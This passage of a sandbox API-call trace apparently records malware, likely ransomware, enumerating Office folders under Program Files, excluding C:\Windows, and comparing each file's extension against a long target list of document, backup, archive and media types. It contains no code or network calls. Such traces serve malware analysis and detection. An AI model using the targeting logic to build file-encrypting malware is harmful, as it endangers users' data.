ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32.WW", cAlternateFileName="")) returned 1 [0042.842] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\*", lpFindFileData=0x33fee18 | out: lpFindFileData=0x33fee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef22c8 [0042.854] FindNextFileW (in: hFindFile=0x3ef22c8, lpFindFileData=0x33fee18 | out: lpFindFileData=0x33fee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.854] FindNextFileW (in: hFindFile=0x3ef22c8, lpFindFileData=0x33fee18 | out: lpFindFileData=0x33fee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe09b760, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.XML", cAlternateFileName="OFFICE~1.XML")) returned 1 [0042.854] FindClose (in: hFindFile=0x3ef22c8 | out: hFindFile=0x3ef22c8) returned 1 [0042.854] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3ef34c0 | out: hHeap=0x510000) returned 1 [0042.854] FindNextFileW (in: hFindFile=0x3ef2248, lpFindFileData=0x33ff094 | out: lpFindFileData=0x33ff094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNote.en-us", cAlternateFileName="ONENOT~1.EN-")) returned 1 [0042.854] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\*", lpFindFileData=0x33fee18 | out: lpFindFileData=0x33fee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef22c8 [0042.877] FindNextFileW (in: hFindFile=0x3ef22c8, lpFindFileData=0x33fee18 | out: lpFindFileData=0x33fee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.877] FindNextFileW (in: hFindFile=0x3ef22c8, lpFindFileData=0x33fee18 | out: lpFindFileData=0x33fee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58ed930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.XML", cAlternateFileName="ONENOT~1.XML")) returned 1 [0042.877] FindClose (in: hFindFile=0x3ef22c8 | out: hFindFile=0x3ef22c8) returned 1 [0042.877] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3ef34c0 | out: hHeap=0x510000) returned 1 [0042.877] FindNextFileW (in: hFindFile=0x3ef2248, lpFindFileData=0x33ff094 | out: lpFindFileData=0x33ff094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x302b0500, ftCreationTime.dwHighDateTime=0x1cba073, ftLastAccessTime.dwLowDateTime=0xcf459e40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x302b0500, ftLastWriteTime.dwHighDateTime=0x1cba073, nFileSizeHigh=0x0, nFileSizeLow=0x709b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSETUP.DLL", cAlternateFileName="")) returned 1 [0042.877] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\*", lpFindFileData=0x33fee18 | out: lpFindFileData=0x33fee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef22c8 [0042.878] FindNextFileW (in: hFindFile=0x3ef22c8, lpFindFileData=0x33fee18 | out: lpFindFileData=0x33fee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.878] FindNextFileW (in: hFindFile=0x3ef22c8, lpFindFileData=0x33fee18 | out: lpFindFileData=0x33fee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee827f20, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.XML", cAlternateFileName="OUTLOO~1.XML")) returned 1 [0042.879] FindClose (in: hFindFile=0x3ef22c8 | out: hFindFile=0x3ef22c8) returned 1 [0042.879] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3ef34c0 | out: hHeap=0x510000) returned 1 [0042.879] FindNextFileW (in: hFindFile=0x3ef2248, lpFindFileData=0x33ff094 | out: lpFindFileData=0x33ff094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6cee1d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="pidgenx.dll", cAlternateFileName="")) returned 1 [0044.040] FindClose (in: hFindFile=0x3ef2308 | out: hFindFile=0x3ef2308) returned 1 [0044.040] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3ef34c0 | out: hHeap=0x510000) returned 1 [0044.040] FindNextFileW (in: hFindFile=0x3ef21c8, lpFindFileData=0x33ff58c | out: lpFindFileData=0x33ff58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX", cAlternateFileName="")) returned 1 [0044.041] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\*", lpFindFileData=0x33ff310 | out: lpFindFileData=0x33ff310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef2308 [0044.041] FindNextFileW (in: hFindFile=0x3ef2308, lpFindFileData=0x33ff310 | out: lpFindFileData=0x33ff310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.041] FindNextFileW (in: hFindFile=0x3ef2308, lpFindFileData=0x33ff310 | out: lpFindFileData=0x33ff310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a7ff6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xee7a7ff6, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x454d7b80, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x10f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 1 [0044.041] FindClose (in: hFindFile=0x3ef2308 | out: hFindFile=0x3ef2308) returned 1 [0044.041] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3ef34c0 | out: hHeap=0x510000) returned 1 [0044.041] FindNextFileW (in: hFindFile=0x3ef21c8, lpFindFileData=0x33ff58c | out: lpFindFileData=0x33ff58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio Shared", cAlternateFileName="VISIOS~1")) returned 1 [0044.041] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\*", lpFindFileData=0x33ff310 | out: lpFindFileData=0x33ff310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef2308 [0044.042] FindNextFileW (in: hFindFile=0x3ef2308, lpFindFileData=0x33ff310 | out: lpFindFileData=0x33ff310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.042] FindNextFileW (in: hFindFile=0x3ef2308, lpFindFileData=0x33ff310 | out: lpFindFileData=0x33ff310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0044.042] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\*", lpFindFileData=0x33ff094 | out: lpFindFileData=0x33ff094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef2248 [0044.045] FindNextFileW (in: hFindFile=0x3ef2248, lpFindFileData=0x33ff094 | out: lpFindFileData=0x33ff094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.045] FindNextFileW (in: hFindFile=0x3ef2248, lpFindFileData=0x33ff094 | out: lpFindFileData=0x33ff094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x4f2ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIGFONT.SHX", cAlternateFileName="")) returned 1 [0052.071] FindNextFileW (in: hFindFile=0x3ef2308, lpFindFileData=0x33ff310 | out: lpFindFileData=0x33ff310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64dbf390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.071] FindNextFileW (in: hFindFile=0x3ef2308, lpFindFileData=0x33ff310 | out: lpFindFileData=0x33ff310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x545acaf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64de54f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathOMFormServices", cAlternateFileName="INFOPA~2")) returned 1 [0052.072] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices") returned 1 [0052.072] lstrlenW (lpString="InfoPathOMFormServices") returned 22 [0052.072] lstrcmpiW (lpString1="C:\\Windows", lpString2="InfoPathOMFormServices") returned -1 [0052.072] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3f23b90 [0052.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices") returned 76 [0052.072] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\*", lpFindFileData=0x33ff094 | out: lpFindFileData=0x33ff094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x545acaf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64de54f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef21c8 [0052.074] FindNextFileW (in: hFindFile=0x3ef21c8, lpFindFileData=0x33ff094 | out: lpFindFileData=0x33ff094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x545acaf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64de54f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.074] FindNextFileW (in: hFindFile=0x3ef21c8, lpFindFileData=0x33ff094 | out: lpFindFileData=0x33ff094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553a8c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64de54f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathOMFormServicesV12", cAlternateFileName="INFOPA~1")) returned 1 [0052.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12") returned 102 [0052.074] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12") returned 1 [0052.074] lstrlenW (lpString="InfoPathOMFormServicesV12") returned 25 [0052.074] lstrcmpiW (lpString1="C:\\Windows", lpString2="InfoPathOMFormServicesV12") returned -1 [0052.074] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3f33b98 [0052.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12") returned 102 [0052.074] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\*", lpFindFileData=0x33fee18 | out: lpFindFileData=0x33fee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553a8c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64de54f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef2388 [0052.075] FindNextFileW (in: hFindFile=0x3ef2388, lpFindFileData=0x33fee18 | out: lpFindFileData=0x33fee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553a8c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64de54f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.075] FindNextFileW (in: hFindFile=0x3ef2388, lpFindFileData=0x33fee18 | out: lpFindFileData=0x33fee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ae85c00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x553a8c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ae85c00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xa770, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Infopath.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0052.075] lstrlenW (lpString="Microsoft.Office.Infopath.dll") returned 29 [0052.075] lstrlenW (lpString=".1cd") returned 4 [0052.075] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0052.075] lstrlenW (lpString=".3ds") returned 4 [0052.075] lstrcmpiW (lpString1=".3ds", lpString2=".dll") returned -1 [0052.075] lstrlenW (lpString=".3fr") returned 4 [0052.075] lstrcmpiW (lpString1=".3fr", lpString2=".dll") returned -1 [0052.075] lstrlenW (lpString=".3g2") returned 4 [0052.075] lstrcmpiW (lpString1=".3g2", lpString2=".dll") returned -1 [0052.075] lstrlenW (lpString=".3gp") returned 4 [0052.075] lstrcmpiW (lpString1=".3gp", lpString2=".dll") returned -1 [0052.075] lstrlenW (lpString=".7z") returned 3 [0052.075] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0052.075] lstrlenW (lpString=".accda") returned 6 [0052.076] lstrcmpiW (lpString1=".accda", lpString2="th.dll") returned -1 [0052.076] lstrlenW (lpString=".accdb") returned 6 [0052.076] lstrcmpiW (lpString1=".accdb", lpString2="th.dll") returned -1 [0052.076] lstrlenW (lpString=".accdc") returned 6 [0052.076] lstrcmpiW (lpString1=".accdc", lpString2="th.dll") returned -1 [0052.076] lstrlenW (lpString=".accde") returned 6 [0052.076] lstrcmpiW (lpString1=".accde", lpString2="th.dll") returned -1 [0052.076] lstrlenW (lpString=".accdt") returned 6 [0052.076] lstrcmpiW (lpString1=".accdt", lpString2="th.dll") returned -1 [0052.076] lstrlenW (lpString=".accdw") returned 6 [0052.076] lstrcmpiW (lpString1=".accdw", lpString2="th.dll") returned -1 [0052.076] lstrlenW (lpString=".adb") returned 4 [0052.076] lstrcmpiW (lpString1=".adb", lpString2=".dll") returned -1 [0052.076] lstrlenW (lpString=".adp") returned 4 [0052.076] lstrcmpiW (lpString1=".adp", lpString2=".dll") returned -1 [0052.076] lstrlenW (lpString=".ai") returned 3 [0052.076] lstrcmpiW (lpString1=".ai", lpString2="dll") returned -1 [0052.076] lstrlenW (lpString=".ai3") returned 4 [0052.076] lstrcmpiW (lpString1=".ai3", lpString2=".dll") returned -1 [0052.076] lstrlenW (lpString=".ai4") returned 4 [0052.076] lstrcmpiW (lpString1=".ai4", lpString2=".dll") returned -1 [0052.076] lstrlenW (lpString=".ai5") returned 4 [0052.076] lstrcmpiW (lpString1=".ai5", lpString2=".dll") returned -1 [0052.076] lstrlenW (lpString=".ai6") returned 4 [0052.076] lstrcmpiW (lpString1=".ai6", lpString2=".dll") returned -1 [0052.076] lstrlenW (lpString=".ai7") returned 4 [0052.076] lstrcmpiW (lpString1=".ai7", lpString2=".dll") returned -1 [0052.076] lstrlenW (lpString=".ai8") returned 4 [0052.076] lstrcmpiW (lpString1=".ai8", lpString2=".dll") returned -1 [0052.076] lstrlenW (lpString=".anim") returned 5 [0052.076] lstrcmpiW (lpString1=".anim", lpString2="h.dll") returned -1 [0052.077] lstrlenW (lpString=".arw") returned 4 [0052.077] lstrcmpiW (lpString1=".arw", lpString2=".dll") returned -1 [0052.077] lstrlenW (lpString=".as") returned 3 [0052.077] lstrcmpiW (lpString1=".as", lpString2="dll") returned -1 [0052.077] lstrlenW (lpString=".asa") returned 4 [0052.077] lstrcmpiW (lpString1=".asa", lpString2=".dll") returned -1 [0052.077] lstrlenW (lpString=".asc") returned 4 [0052.077] lstrcmpiW (lpString1=".asc", lpString2=".dll") returned -1 [0052.077] lstrlenW (lpString=".ascx") returned 5 [0052.077] lstrcmpiW (lpString1=".ascx", lpString2="h.dll") returned -1 [0052.077] lstrlenW (lpString=".asm") returned 4 [0052.077] lstrcmpiW (lpString1=".asm", lpString2=".dll") returned -1 [0052.077] lstrlenW (lpString=".asmx") returned 5 [0052.077] lstrcmpiW (lpString1=".asmx", lpString2="h.dll") returned -1 [0052.077] lstrlenW (lpString=".asp") returned 4 [0052.077] lstrcmpiW (lpString1=".asp", lpString2=".dll") returned -1 [0052.077] lstrlenW (lpString=".aspx") returned 5 [0052.077] lstrcmpiW (lpString1=".aspx", lpString2="h.dll") returned -1 [0052.077] lstrlenW (lpString=".asr") returned 4 [0052.077] lstrcmpiW (lpString1=".asr", lpString2=".dll") returned -1 [0052.077] lstrlenW (lpString=".asx") returned 4 [0052.077] lstrcmpiW (lpString1=".asx", lpString2=".dll") returned -1 [0052.077] lstrlenW (lpString=".avi") returned 4 [0052.077] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1 [0052.077] lstrlenW (lpString=".avs") returned 4 [0052.077] lstrcmpiW (lpString1=".avs", lpString2=".dll") returned -1 [0052.077] lstrlenW (lpString=".backup") returned 7 [0052.077] lstrcmpiW (lpString1=".backup", lpString2="ath.dll") returned -1 [0052.077] lstrlenW (lpString=".bak") returned 4 [0052.077] lstrcmpiW (lpString1=".bak", lpString2=".dll") returned -1 [0052.077] lstrlenW (lpString=".bay") returned 4 [0052.077] lstrcmpiW (lpString1=".bay", lpString2=".dll") returned -1 [0052.077] lstrlenW (lpString=".bd") returned 3 [0052.078] lstrcmpiW (lpString1=".bd", lpString2="dll") returned -1 [0052.078] lstrlenW (lpString=".bin") returned 4 [0052.078] lstrcmpiW (lpString1=".bin", lpString2=".dll") returned -1 [0052.078] lstrlenW (lpString=".bmp") returned 4 [0052.078] lstrcmpiW (lpString1=".bmp", lpString2=".dll") returned -1 [0052.078] lstrlenW (lpString=".bz2") returned 4 [0052.078] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0052.078] lstrlenW (lpString=".c") returned 2 [0052.078] lstrcmpiW (lpString1=".c", lpString2="ll") returned -1 [0052.078] lstrlenW (lpString=".cdr") returned 4 [0052.078] lstrcmpiW (lpString1=".cdr", lpString2=".dll") returned -1 [0052.078] lstrlenW (lpString=".cer") returned 4 [0052.078] lstrcmpiW (lpString1=".cer", lpString2=".dll") returned -1 [0052.078] lstrlenW (lpString=".cf") returned 3 [0052.078] lstrcmpiW (lpString1=".cf", lpString2="dll") returned -1 [0052.078] lstrlenW (lpString=".cfc") returned 4 [0052.078] lstrcmpiW (lpString1=".cfc", lpString2=".dll") returned -1 [0052.078] lstrlenW (lpString=".cfm") returned 4 [0052.078] lstrcmpiW (lpString1=".cfm", lpString2=".dll") returned -1 [0052.078] lstrlenW (lpString=".cfml") returned 5 [0052.078] lstrcmpiW (lpString1=".cfml", lpString2="h.dll") returned -1 [0052.078] lstrlenW (lpString=".cfu") returned 4 [0052.078] lstrcmpiW (lpString1=".cfu", lpString2=".dll") returned -1 [0052.078] lstrlenW (lpString=".chm") returned 4 [0052.078] lstrcmpiW (lpString1=".chm", lpString2=".dll") returned -1 [0052.078] lstrlenW (lpString=".cin") returned 4 [0052.078] lstrcmpiW (lpString1=".cin", lpString2=".dll") returned -1 [0052.078] lstrlenW (lpString=".class") returned 6 [0052.078] lstrcmpiW (lpString1=".class", lpString2="th.dll") returned -1 [0052.078] lstrlenW (lpString=".clx") returned 4 [0052.078] 